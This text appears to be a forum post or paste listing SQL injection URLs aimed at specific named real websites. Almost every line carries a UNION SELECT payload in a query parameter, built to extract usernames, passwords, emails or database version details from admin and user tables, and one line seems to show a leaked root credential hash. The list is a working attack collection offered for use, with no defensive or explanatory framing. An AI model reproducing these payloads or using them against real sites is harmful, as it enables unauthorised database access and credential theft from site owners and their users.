Separate names with a comma.
http://palindouble.com/gcards/getnewsitem.php?newsid=1+union+select+1,2,concat(username,char(45),userpass),4,5+FROM+gc_cardusers--
http://www.demosgreatclone.com/youtubeclone/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13...
http://www.1mileup.com/links.asp?CatId=-99999%20UNION%20SELECT%20null,accesslevel,null,null,user_name,%205%20,password,null%20FROM%20Users
http://plintu.com/classifide_ad.php?item_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(user_name,char(58),password),6,7,8,9,10,11,12,13,14,15,1...
http://cms.wmhelp.com//index.php?p=poll&showresult=1&poll_id=-1+union+select+concat(email,0x3a,pass),1,2,3+from+kpro_user...
http://www.ahtopolbg.com/index.php?option=com_mosres&task=showregion®ID=4%27+and+1=2+union%20select%201,concat(username,0x3a,password)+from+jos_...
http://www.zazieweb.fr/site/reagir.php?num=-107+union+select+1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5/*
http://www.shtypidites.com/lajmet.php?id=540+and+1=2+union+all+select+1,2,3,4,5,concat(emri,char(58),fjalkalimi)+from+admin/*...
Ebs http://www.site.com
[B]http://www.city.vbg.ru/index.php?id=-566%20union%20select%201,2,version(),4,5,6,7,8/* 4.0.12
http://skivacationhouse.com/index.php?custom_language=turkish&user=detaliespopupcondrent&pid=1%20AND%201=0%20%75%6E%69%6F%6E%20SELECT%201,concat_ws...
http://www.bsigroup.ru/outgoing/country.php?id=-1+union+select+_login_xz+from+_system_user/* Super User:root:89905f508ebdc32e7eb0c24fdb118305...
http://www.spos.info/novost.php?id=-29+union+select+1,2,3,unhex(hex(username)),5,6,unh%20ex(hex(password)),8,9,10+from+admin+limit+0,1/* 1...
SQL...
http://www.evernewjokes.com/joke-archives.php?start=0&cat_id=-1%20union%20all%20select%201,2,concat(user,0x3a,password),4,5,0x625920746152656e74526...